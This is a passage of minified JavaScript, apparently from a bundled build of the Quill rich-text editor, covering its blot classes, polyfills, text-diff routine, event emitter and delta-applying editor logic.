null==e?null:null==e.domNode[i.DATA_KEY].mutations?(e.domNode[i.DATA_KEY].mutations=[t],e):(e.domNode[i.DATA_KEY].mutations.push(t),null)}).forEach(function(t){null!=t&&t!==r&&null!=t.domNode[i.DATA_KEY]&&t.update(t.domNode[i.DATA_KEY].mutations||[],n)}),null!=this.domNode[i.DATA_KEY].mutations&&t.prototype.update.call(this,this.domNode[i.DATA_KEY].mutations,n),this.optimize(e,n)},e.blotName="scroll",e.defaultChild="block",e.scope=i.Scope.BLOCK_BLOT,e.tagName="DIV",e}(o.default);e.default=a},function(t,e,n){"use strict";function r(t,e){if(Object.keys(t).length!==Object.keys(e).length)return!1;for(var n in t)if(t[n]!==e[n])return!1;return!0}var o=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=n(18),l=n(1),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o(e,t),e.formats=function(n){if(n.tagName!==e.tagName)return t.formats.call(this,n)},e.prototype.format=function(n,r){var o=this;n!==this.statics.blotName||r?t.prototype.format.call(this,n,r):(this.children.forEach(function(t){t instanceof i.default||(t=t.wrap(e.blotName,!0)),o.attributes.copy(t)}),this.unwrap())},e.prototype.formatAt=function(e,n,r,o){if(null!=this.formats()[r]||l.query(r,l.Scope.ATTRIBUTE)){this.isolate(e,n).format(r,o)}else t.prototype.formatAt.call(this,e,n,r,o)},e.prototype.optimize=function(n){t.prototype.optimize.call(this,n);var o=this.formats();if(0===Object.keys(o).length)return this.unwrap();var i=this.next;i instanceof e&&i.prev===this&&r(o,i.formats())&&(i.moveChildren(this),i.remove())},e.blotName="inline",e.scope=l.Scope.INLINE_BLOT,e.tagName="SPAN",e}(i.default);e.default=a},function(t,e,n){"use strict";var r=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var o=n(18),i=n(1),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r(e,t),e.formats=function(n){var r=i.query(e.blotName).tagName;if(n.tagName!==r)return t.formats.call(this,n)},e.prototype.format=function(n,r){null!=i.query(n,i.Scope.BLOCK)&&(n!==this.statics.blotName||r?t.prototype.format.call(this,n,r):this.replaceWith(e.blotName))},e.prototype.formatAt=function(e,n,r,o){null!=i.query(r,i.Scope.BLOCK)?this.format(r,o):t.prototype.formatAt.call(this,e,n,r,o)},e.prototype.insertAt=function(e,n,r){if(null==r||null!=i.query(n,i.Scope.INLINE))t.prototype.insertAt.call(this,e,n,r);else{var o=this.split(e),l=i.create(n,r);o.parent.insertBefore(l,o)}},e.prototype.update=function(e,n){navigator.userAgent.match(/Trident/)?this.build():t.prototype.update.call(this,e,n)},e.blotName="block",e.scope=i.Scope.BLOCK_BLOT,e.tagName="P",e}(o.default);e.default=l},function(t,e,n){"use strict";var r=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var o=n(19),i=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return r(e,t),e.formats=function(t){},e.prototype.format=function(e,n){t.prototype.formatAt.call(this,0,this.length(),e,n)},e.prototype.formatAt=function(e,n,r,o){0===e&&n===this.length()?this.format(r,o):t.prototype.formatAt.call(this,e,n,r,o)},e.prototype.formats=function(){return this.statics.formats(this.domNode)},e}(o.default);e.default=i},function(t,e,n){"use strict";var r=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var o=n(19),i=n(1),l=function(t){function e(e){var n=t.call(this,e)||this;return n.text=n.statics.value(n.domNode),n}return r(e,t),e.create=function(t){return document.createTextNode(t)},e.value=function(t){var e=t.data;return e.normalize&&(e=e.normalize()),e},e.prototype.deleteAt=function(t,e){this.domNode.data=this.text=this.text.slice(0,t)+this.text.slice(t+e)},e.prototype.index=function(t,e){return this.domNode===t?e:-1},e.prototype.insertAt=function(e,n,r){null==r?(this.text=this.text.slice(0,e)+n+this.text.slice(e),this.domNode.data=this.text):t.prototype.insertAt.call(this,e,n,r)},e.prototype.length=function(){return this.text.length},e.prototype.optimize=function(n){t.prototype.optimize.call(this,n),this.text=this.statics.value(this.domNode),0===this.text.length?this.remove():this.next instanceof e&&this.next.prev===this&&(this.insertAt(this.length(),this.next.value()),this.next.remove())},e.prototype.position=function(t,e){return void 0===e&&(e=!1),[this.domNode,t]},e.prototype.split=function(t,e){if(void 0===e&&(e=!1),!e){if(0===t)return this;if(t===this.length())return this.next}var n=i.create(this.domNode.splitText(t));return this.parent.insertBefore(n,this.next),this.text=this.statics.value(this.domNode),n},e.prototype.update=function(t,e){var n=this;t.some(function(t){return"characterData"===t.type&&t.target===n.domNode})&&(this.text=this.statics.value(this.domNode))},e.prototype.value=function(){return this.text},e.blotName="text",e.scope=i.Scope.INLINE_BLOT,e}(o.default);e.default=l},function(t,e,n){"use strict";var r=document.createElement("div");if(r.classList.toggle("test-class",!1),r.classList.contains("test-class")){var o=DOMTokenList.prototype.toggle;DOMTokenList.prototype.toggle=function(t,e){return arguments.length>1&&!this.contains(t)==!e?e:o.call(this,t)}}String.prototype.startsWith||(String.prototype.startsWith=function(t,e){return e=e||0,this.substr(e,t.length)===t}),String.prototype.endsWith||(String.prototype.endsWith=function(t,e){var n=this.toString();("number"!=typeof e||!isFinite(e)||Math.floor(e)!==e||e>n.length)&&(e=n.length),e-=t.length;var r=n.indexOf(t,e);return-1!==r&&r===e}),Array.prototype.find||Object.defineProperty(Array.prototype,"find",{value:function(t){if(null===this)throw new TypeError("Array.prototype.find called on null or undefined");if("function"!=typeof t)throw new TypeError("predicate must be a function");for(var e,n=Object(this),r=n.length>>>0,o=arguments[1],i=0;i<r;i++)if(e=n[i],t.call(o,e,i,n))return e}}),document.addEventListener("DOMContentLoaded",function(){document.execCommand("enableObjectResizing",!1,!1),document.execCommand("autoUrlDetect",!1,!1)})},function(t,e){function n(t,e,n){if(t==e)return t?[[v,t]]:[];(n<0||t.length<n)&&(n=null);var o=l(t,e),i=t.substring(0,o);t=t.substring(o),e=e.substring(o),o=a(t,e);var s=t.substring(t.length-o);t=t.substring(0,t.length-o),e=e.substring(0,e.length-o);var c=r(t,e);return i&&c.unshift([v,i]),s&&c.push([v,s]),u(c),null!=n&&(c=f(c,n)),c=h(c)}function r(t,e){var r;if(!t)return[[y,e]];if(!e)return[[d,t]];var i=t.length>e.length?t:e,l=t.length>e.length?e:t,a=i.indexOf(l);if(-1!=a)return r=[[y,i.substring(0,a)],[v,l],[y,i.substring(a+l.length)]],t.length>e.length&&(r[0][0]=r[2][0]=d),r;if(1==l.length)return[[d,t],[y,e]];var u=s(t,e);if(u){var c=u[0],f=u[1],h=u[2],p=u[3],b=u[4],g=n(c,h),m=n(f,p);return g.concat([[v,b]],m)}return o(t,e)}function o(t,e){for(var n=t.length,r=e.length,o=Math.ceil((n+r)/2),l=o,a=2*o,s=new Array(a),u=new Array(a),c=0;c<a;c++)s[c]=-1,u[c]=-1;s[l+1]=0,u[l+1]=0;for(var f=n-r,h=f%2!=0,p=0,v=0,b=0,g=0,m=0;m<o;m++){for(var _=-m+p;_<=m-v;_+=2){var O,w=l+_;O=_==-m||_!=m&&s[w-1]<s[w+1]?s[w+1]:s[w-1]+1;for(var x=O-_;O<n&&x<r&&t.charAt(O)==e.charAt(x);)O++,x++;if(s[w]=O,O>n)v+=2;else if(x>r)p+=2;else if(h){var k=l+f-_;if(k>=0&&k<a&&-1!=u[k]){var E=n-u[k];if(O>=E)return i(t,e,O,x)}}}for(var N=-m+b;N<=m-g;N+=2){var E,k=l+N;E=N==-m||N!=m&&u[k-1]<u[k+1]?u[k+1]:u[k-1]+1;for(var j=E-N;E<n&&j<r&&t.charAt(n-E-1)==e.charAt(r-j-1);)E++,j++;if(u[k]=E,E>n)g+=2;else if(j>r)b+=2;else if(!h){var w=l+f-N;if(w>=0&&w<a&&-1!=s[w]){var O=s[w],x=l+O-w;if(E=n-E,O>=E)return i(t,e,O,x)}}}}return[[d,t],[y,e]]}function i(t,e,r,o){var i=t.substring(0,r),l=e.substring(0,o),a=t.substring(r),s=e.substring(o),u=n(i,l),c=n(a,s);return u.concat(c)}function l(t,e){if(!t||!e||t.charAt(0)!=e.charAt(0))return 0;for(var n=0,r=Math.min(t.length,e.length),o=r,i=0;n<o;)t.substring(i,o)==e.substring(i,o)?(n=o,i=n):r=o,o=Math.floor((r-n)/2+n);return o}function a(t,e){if(!t||!e||t.charAt(t.length-1)!=e.charAt(e.length-1))return 0;for(var n=0,r=Math.min(t.length,e.length),o=r,i=0;n<o;)t.substring(t.length-o,t.length-i)==e.substring(e.length-o,e.length-i)?(n=o,i=n):r=o,o=Math.floor((r-n)/2+n);return o}function s(t,e){function n(t,e,n){for(var r,o,i,s,u=t.substring(n,n+Math.floor(t.length/4)),c=-1,f="";-1!=(c=e.indexOf(u,c+1));){var h=l(t.substring(n),e.substring(c)),p=a(t.substring(0,n),e.substring(0,c));f.length<p+h&&(f=e.substring(c-p,c)+e.substring(c,c+h),r=t.substring(0,n-p),o=t.substring(n+h),i=e.substring(0,c-p),s=e.substring(c+h))}return 2*f.length>=t.length?[r,o,i,s,f]:null}var r=t.length>e.length?t:e,o=t.length>e.length?e:t;if(r.length<4||2*o.length<r.length)return null;var i,s=n(r,o,Math.ceil(r.length/4)),u=n(r,o,Math.ceil(r.length/2));if(!s&&!u)return null;i=u?s&&s[4].length>u[4].length?s:u:s;var c,f,h,p;return t.length>e.length?(c=i[0],f=i[1],h=i[2],p=i[3]):(h=i[0],p=i[1],c=i[2],f=i[3]),[c,f,h,p,i[4]]}function u(t){t.push([v,""]);for(var e,n=0,r=0,o=0,i="",s="";n<t.length;)switch(t[n][0]){case y:o++,s+=t[n][1],n++;break;case d:r++,i+=t[n][1],n++;break;case v:r+o>1?(0!==r&&0!==o&&(e=l(s,i),0!==e&&(n-r-o>0&&t[n-r-o-1][0]==v?t[n-r-o-1][1]+=s.substring(0,e):(t.splice(0,0,[v,s.substring(0,e)]),n++),s=s.substring(e),i=i.substring(e)),0!==(e=a(s,i))&&(t[n][1]=s.substring(s.length-e)+t[n][1],s=s.substring(0,s.length-e),i=i.substring(0,i.length-e))),0===r?t.splice(n-o,r+o,[y,s]):0===o?t.splice(n-r,r+o,[d,i]):t.splice(n-r-o,r+o,[d,i],[y,s]),n=n-r-o+(r?1:0)+(o?1:0)+1):0!==n&&t[n-1][0]==v?(t[n-1][1]+=t[n][1],t.splice(n,1)):n++,o=0,r=0,i="",s=""}""===t[t.length-1][1]&&t.pop();var c=!1;for(n=1;n<t.length-1;)t[n-1][0]==v&&t[n+1][0]==v&&(t[n][1].substring(t[n][1].length-t[n-1][1].length)==t[n-1][1]?(t[n][1]=t[n-1][1]+t[n][1].substring(0,t[n][1].length-t[n-1][1].length),t[n+1][1]=t[n-1][1]+t[n+1][1],t.splice(n-1,1),c=!0):t[n][1].substring(0,t[n+1][1].length)==t[n+1][1]&&(t[n-1][1]+=t[n+1][1],t[n][1]=t[n][1].substring(t[n+1][1].length)+t[n+1][1],t.splice(n+1,1),c=!0)),n++;c&&u(t)}function c(t,e){if(0===e)return[v,t];for(var n=0,r=0;r<t.length;r++){var o=t[r];if(o[0]===d||o[0]===v){var i=n+o[1].length;if(e===i)return[r+1,t];if(e<i){t=t.slice();var l=e-n,a=[o[0],o[1].slice(0,l)],s=[o[0],o[1].slice(l)];return t.splice(r,1,a,s),[r+1,t]}n=i}}throw new Error("cursor_pos is out of bounds!")}function f(t,e){var n=c(t,e),r=n[1],o=n[0],i=r[o],l=r[o+1];if(null==i)return t;if(i[0]!==v)return t;if(null!=l&&i[1]+l[1]===l[1]+i[1])return r.splice(o,2,l,i),p(r,o,2);if(null!=l&&0===l[1].indexOf(i[1])){r.splice(o,2,[l[0],i[1]],[0,i[1]]);var a=l[1].slice(i[1].length);return a.length>0&&r.splice(o+2,0,[l[0],a]),p(r,o,3)}return t}function h(t){for(var e=!1,n=function(t){return t.charCodeAt(0)>=56320&&t.charCodeAt(0)<=57343},r=2;r<t.length;r+=1)t[r-2][0]===v&&function(t){return t.charCodeAt(t.length-1)>=55296&&t.charCodeAt(t.length-1)<=56319}(t[r-2][1])&&t[r-1][0]===d&&n(t[r-1][1])&&t[r][0]===y&&n(t[r][1])&&(e=!0,t[r-1][1]=t[r-2][1].slice(-1)+t[r-1][1],t[r][1]=t[r-2][1].slice(-1)+t[r][1],t[r-2][1]=t[r-2][1].slice(0,-1));if(!e)return t;for(var o=[],r=0;r<t.length;r+=1)t[r][1].length>0&&o.push(t[r]);return o}function p(t,e,n){for(var r=e+n-1;r>=0&&r>=e-1;r--)if(r+1<t.length){var o=t[r],i=t[r+1];o[0]===i[1]&&t.splice(r,2,[o[0],o[1]+i[1]])}return t}var d=-1,y=1,v=0,b=n;b.INSERT=y,b.DELETE=d,b.EQUAL=v,t.exports=b},function(t,e){function n(t){var e=[];for(var n in t)e.push(n);return e}e=t.exports="function"==typeof Object.keys?Object.keys:n,e.shim=n},function(t,e){function n(t){return"[object Arguments]"==Object.prototype.toString.call(t)}function r(t){return t&&"object"==typeof t&&"number"==typeof t.length&&Object.prototype.hasOwnProperty.call(t,"callee")&&!Object.prototype.propertyIsEnumerable.call(t,"callee")||!1}var o="[object Arguments]"==function(){return Object.prototype.toString.call(arguments)}();e=t.exports=o?n:r,e.supported=n,e.unsupported=r},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function l(t,e){return Object.keys(e).reduce(function(n,r){return null==t[r]?n:(e[r]===t[r]?n[r]=e[r]:Array.isArray(e[r])?e[r].indexOf(t[r])<0&&(n[r]=e[r].concat([t[r]])):n[r]=[e[r],t[r]],n)},{})}function a(t){return t.reduce(function(t,e){if(1===e.insert){var n=(0,N.default)(e.attributes);return delete n.image,t.insert({image:e.attributes.image},n)}if(null==e.attributes||!0!==e.attributes.list&&!0!==e.attributes.bullet||(e=(0,N.default)(e),e.attributes.list?e.attributes.list="ordered":(e.attributes.list="bullet",delete e.attributes.bullet)),"string"==typeof e.insert){var r=e.insert.replace(/\r\n/g,"\n").replace(/\r/g,"\n");return t.insert(r,e.attributes)}return t.push(e)},new h.default)}Object.defineProperty(e,"__esModule",{value:!0});var s="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},u=function(){function t(t,e){var n=[],r=!0,o=!1,i=void 0;try{for(var l,a=t[Symbol.iterator]();!(r=(l=a.next()).done)&&(n.push(l.value),!e||n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{!r&&a.return&&a.return()}finally{if(o)throw i}}return n}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),c=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),f=n(4),h=r(f),p=n(20),d=r(p),y=n(0),v=r(y),b=n(13),g=r(b),m=n(31),_=r(m),O=n(3),w=r(O),x=n(14),k=r(x),E=n(21),N=r(E),j=n(12),A=r(j),q=n(2),T=r(q),P=/^[ -~]*$/,S=function(){function t(e){i(this,t),this.scroll=e,this.delta=this.getDelta()}return c(t,[{key:"applyDelta",value:function(t){var e=this,n=!1;this.scroll.update();var r=this.scroll.length();return this.scroll.batchStart(),t=a(t),t.reduce(function(t,o){var i=o.retain||o.delete||o.insert.length||1,l=o.attributes||{};if(null!=o.insert){if("string"==typeof o.insert){var a=o.insert;a.endsWith("\n")&&n&&(n=!1,a=a.slice(0,-1)),t>=r&&!a.endsWith("\n")&&(n=!0),e.scroll.insertAt(t,a);var c=e.scroll.line(t),f=u(c,2),h=f[0],p=f[1],y=(0,T.default)({},(0,O.bubbleFormats)(h));if(h instanceof w.default){var b=h.descendant(v.default.Leaf,p),g=u(b,1),m=g[0];y=(0,T.default)(y,(0,O.bubbleFormats)(m))}l=d.default.attributes.diff(y,l)||{}}else if("object"===s(o.insert)){var _=Object.keys(o.insert)[0];if(null==_)return t;e.scroll.insertAt(t,_,o.insert[_])}r+=i}return Object.keys(l).forEach(function(n){e.scroll.formatAt(t,i,n,l[n])}),t+i},0),t.reduce(function(t,n){return"number"==typeof n.delete?(e.scroll.deleteAt(t,n.delete),t):t+(n.retain||n.insert.length||1)},0),this.scroll.batchEnd(),this.update(t)}},{key:"deleteText",value:function(t,e){return this.scroll.deleteAt(t,e),this.update((new h.default).retain(t).delete(e))}},{key:"formatLine",value:function(t,e){var n=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return this.scroll.update(),Object.keys(r).forEach(function(o){if(null==n.scroll.whitelist||n.scroll.whitelist[o]){var i=n.scroll.lines(t,Math.max(e,1)),l=e;i.forEach(function(e){var i=e.length();if(e instanceof g.default){var a=t-e.offset(n.scroll),s=e.newlineIndex(a+l)-a+1;e.formatAt(a,s,o,r[o])}else e.format(o,r[o]);l-=i})}}),this.scroll.optimize(),this.update((new h.default).retain(t).retain(e,(0,N.default)(r)))}},{key:"formatText",value:function(t,e){var n=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return Object.keys(r).forEach(function(o){n.scroll.formatAt(t,e,o,r[o])}),this.update((new h.default).retain(t).retain(e,(0,N.default)(r)))}},{key:"getContents",value:function(t,e){return this.delta.slice(t,t+e)}},{key:"getDelta",value:function(){return this.scroll.lines().reduce(function(t,e){return t.concat(e.delta())},new h.default)}},{key:"getFormat",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=[],r=[];0===e?this.scroll.path(t).forEach(function(t){var e=u(t,1),o=e[0];o instanceof w.default?n.push(o):o instanceof v.default.Leaf&&r.push(o)}):(n=this.scroll.lines(t,e),r=this.scroll.descendants(v.default.Leaf,t,e));var o=[n,r].map(function(t){if(0===t.length)return{};for(var e=(0,O.bubbleFormats)(t.shift());Object.keys(e).length>0;){var n=t.shift();if(null==n)return e;e=l((0,O.bubbleFormats)(n),e)}return e});return T.default.apply(T.default,o)}},{key:"getText",value:function(t,e){return this.getContents(t,e).filter(function(t){return"string"==typeof t.insert}).map(function(t){return t.insert}).join("")}},{key:"insertEmbed",value:function(t,e,n){return this.scroll.insertAt(t,e,n),this.update((new h.default).retain(t).insert(o({},e,n)))}},{key:"insertText",value:function(t,e){var n=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return e=e.replace(/\r\n/g,"\n").replace(/\r/g,"\n"),this.scroll.insertAt(t,e),Object.keys(r).forEach(function(o){n.scroll.formatAt(t,e.length,o,r[o])}),this.update((new h.default).retain(t).insert(e,(0,N.default)(r)))}},{key:"isBlank",value:function(){if(0==this.scroll.children.length)return!0;if(this.scroll.children.length>1)return!1;var t=this.scroll.children.head;return t.statics.blotName===w.default.blotName&&(!(t.children.length>1)&&t.children.head instanceof k.default)}},{key:"removeFormat",value:function(t,e){var n=this.getText(t,e),r=this.scroll.line(t+e),o=u(r,2),i=o[0],l=o[1],a=0,s=new h.default;null!=i&&(a=i instanceof g.default?i.newlineIndex(l)-l+1:i.length()-l,s=i.delta().slice(l,l+a-1).insert("\n"));var c=this.getContents(t,e+a),f=c.diff((new h.default).insert(n).concat(s)),p=(new h.default).retain(t).concat(f);return this.applyDelta(p)}},{key:"update",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:void 0,r=this.delta;if(1===e.length&&"characterData"===e[0].type&&e[0].target.data.match(P)&&v.default.find(e[0].target)){var o=v.default.find(e[0].target),i=(0,O.bubbleFormats)(o),l=o.offset(this.scroll),a=e[0].oldValue.replace(_.default.CONTENTS,""),s=(new h.default).insert(a),u=(new h.default).insert(o.value());t=(new h.default).retain(l).concat(s.diff(u,n)).reduce(function(t,e){return e.insert?t.insert(e.insert,i):t.push(e)},new h.default),this.delta=r.compose(t)}else this.delta=this.getDelta(),t&&(0,A.default)(r.compose(t),this.delta)||(t=r.diff(this.delta,n));return t}}]),t}();e.default=S},function(t,e){"use strict";function n(){}function r(t,e,n){this.fn=t,this.context=e,this.once=n||!1}function o(){this._events=new n,this._eventsCount=0}var i=Object.prototype.hasOwnProperty,l="~";Object.create&&(n.prototype=Object.create(null),(new n).__proto__||(l=!1)),o.prototype.eventNames=function(){var t,e,n=[];if(0===this._eventsCount)return n;for(e in t=this._events)i.call(t,e)&&n.push(l?e.slice(1):e);return Object.getOwnPropertySymbols?n.concat(Object.getOwnPropertySymbols(t)):n},o.prototype.listeners=function(t,e){var n=l?l+t:t,r=this._events[n];if(e)return!!r;if(!r)return[];if(r.fn)return[r.fn];for(var o=0,i=r.length,a=new Array(i);o<i;o++)a[o]=r[o].fn;return a},o.prototype.emit=function(t,e,n,r,o,i){var a=l?l+t:t;if(!this._events[a])return!1;var s,u,c=this._events[a],f=arguments.length;if(c.fn){switch(c.once&&this.removeListener(t,c.fn,void 0,!0),f){case 1:return c.fn.call(c.context),!0;case 2:return c.fn.call(c.context,e),!0;case 3:return c.fn.call(c.context,e,n),!0;case 4:return c.fn.call(c.context,e,n,r),!0;case 5:return c.fn.call(c.context,e,n,r,o),!0;case 6:return c.fn.call(c.context,e,n,r,o,i),!0}for(u=1,s=new Array(f-1);u<f;u++)s[u-1]=arguments[u];c.fn.apply(c.context,s)}else{var h,p=c.length;for(u=0;u<p;u++)switch(c[u].once&&this.removeListener(t,c[u].fn,void 0,!0),f){case 1:c[u].fn.call(c[u].context);break;case 2:c[u].fn.call(c[u].context,e);break;case 3:c[u].fn.call(c[u].context,e,n);break;case 4:c[u].fn.call(c[u].context,e,n,r);break;default:if(!s)for(h=1,s=new Array(f-1);h<f;h++)s[h-1]=arguments[h];c[u].fn.apply(c[u].context,s)}}return!0},o.prototype.on=function(t,e,n){var o=new r(e,n||this),i=l?l+t:t;return this._events[i]?this._events[i].fn?this._events[i]=[this._events[i],o]:this._events[i].push(o):(this._events[i]=o,this._eventsCount++),this},o.prototype.once=function(t,e,n){var o=new r(e,n||this,!0),i=l?l+t:t;return this._events[i]?this._events[i].fn?this._events[i]=[this._events[i],o]:this._events[i].push(o):(this._events[i]=o,this._eventsCount++),this},o.prototype.removeListener=function(t,e,r,o){var i=l?l+t:t;if(!this._events[i])return this;if(!e)return 0==--this._eventsCount?this._events=new n:delete this._events[i],this;var a=this._events[i];if(a.fn)a.fn!==e||o&&!a.once||r&&a.context!==r||(0==--this._eventsCount?this._events=new n:delete this._events[i]);else{for(var s=0,u=[],c=a.length;s<c;s++)(a[s].fn!==e||o&&!a[s].once||r&&a[s].context!==r)&&u.push(a[s]);u.length?this._events[i]=1===u.length?u[0]:u:0==--this._eventsCount?this._events=new n:delete this._events[i]}return this},o.prototype.removeAllListeners=function(t){var e;return t?(e=l?l+t:t,this._events[e]&&(0==--this._eventsCount?this._events=new n:delete this._events[e])):(this._events=new n,this._eventsCount=0),this},o.prototype.off=o.prototype.removeListener,o.prototype.addListener=o.prototype.on,o.prototype.setMaxListeners=function(){return this},o.prefixed=l,o.EventEmitter=o,void 0!==t&&(t.exports=o)},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function a(t){return t instanceof v.default||t instanceof y.BlockEmbed}Object.defineProperty(e,"__esModule",{value:!0});var s=function(){function t(t,e){var n=[],r=!0,o=!1,i=void 0;try{for(var l,a=t[Symbol.iterator]();!(r=(l=a.next()).done)&&(n.push(l.value),!e||n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{!r&&a.return&&a.return()}finally{if(o)throw i}}return n}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),c=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},f=n(0),h=r(f),p=n(9),d=r(p),y=n(3),v=r(y),b=n(14),g=r(b),m=n(13),_=r(m),O=n(23),w=r(O),x=function(t){function e(t,n){o(this,e);var r=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t));return r.emitter=n.emitter,Array.isArray(n.whitelist)&&(r.whitelist=n.whitelist.reduce(function(t,e){return t[e]=!0,t},{})),r.domNode.addEventListener("MutationObserver",function(){}),r.optimize(),r.enable(),r}return l(e,t),u(e,[{key:"batchStart",value:function(){this.batch=!0}},{key:"batchEnd",value:function(){this.batch=!1,this.optimize()}},{key:"deleteAt",value:function(t,n){var r=this.line(t),o=s(r,2),i=o[0],l=o[1],a=this.line(t+n),u=s(a,1),f=u[0];if(c(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"deleteAt",this).call(this,t,n),null!=f&&i!==f&&l>0){if(i instanceof y.BlockEmbed||f instanceof y.BlockEmbed)return void this.optimize();if(i instanceof _.default){var h=i.newlineIndex(i.length(),!0);if(h>-1&&(i=i.split(h+1))===f)return void this.optimize()}else if(f instanceof _.default){var p=f.newlineIndex(0);p>-1&&f.split(p+1)}var d=f.children.head instanceof g.default?null:f.children.head;i.moveChildren(f,d),i.remove()}this.optimize()}},{key:"enable",value:function(){var t=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];this.domNode.setAttribute("contenteditable",t)}},{key:"formatAt",value:function(t,n,r,o){(null==this.whitelist||this.whitelist[r])&&(c(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"formatAt",this).call(this,t,n,r,o),this.optimize())}},{key:"insertAt",value:function(t,n,r){if(null==r||null==this.whitelist||this.whitelist[n]){if(t>=this.length())if(null==r||null==h.default.query(n,h.default.Scope.BLOCK)){var o=h.default.create(this.statics.defaultChild);this.appendChild(o),null==r&&n.endsWith("\n")&&(n=n.slice(0,-1)),o.insertAt(0,n,r)}else{var i=h.default.create(n,r);this.appendChild(i)}else c(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"insertAt",this).call(this,t,n,r);this.optimize()}}},{key:"insertBefore",value:function(t,n){if(t.statics.scope===h.default.Scope.INLINE_BLOT){var r=h.default.create(this.statics.defaultChild);r.appendChild(t),t=r}c(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"insertBefore",this).call(this,t,n)}},{key:"leaf",value:function(t){return this.path(t).pop()||[null,-1]}},{key:"line",value:function(t){return t===this.length()?this.line(t-1):this.descendant(a,t)}},{key:"lines",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Number.MAX_VALUE;return function t(e,n,r){var o=[],i=r;return e.children.forEachAt(n,r,function(e,n,r){a(e)?o.push(e):e instanceof h.default.Container&&(o=o.concat(t(e,n,i))),i-=r}),o}(this,t,e)}},{key:"optimize",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};!0!==this.batch&&(c(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"optimize",this).call(this,t,n),t.length>0&&this.emitter.emit(d.default.events.SCROLL_OPTIMIZE,t,n))}},{key:"path",value:function(t){return c(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"path",this).call(this,t).slice(1)}},{key:"update",value:function(t){if(!0!==this.batch){var n=d.default.sources.USER;"string"==typeof 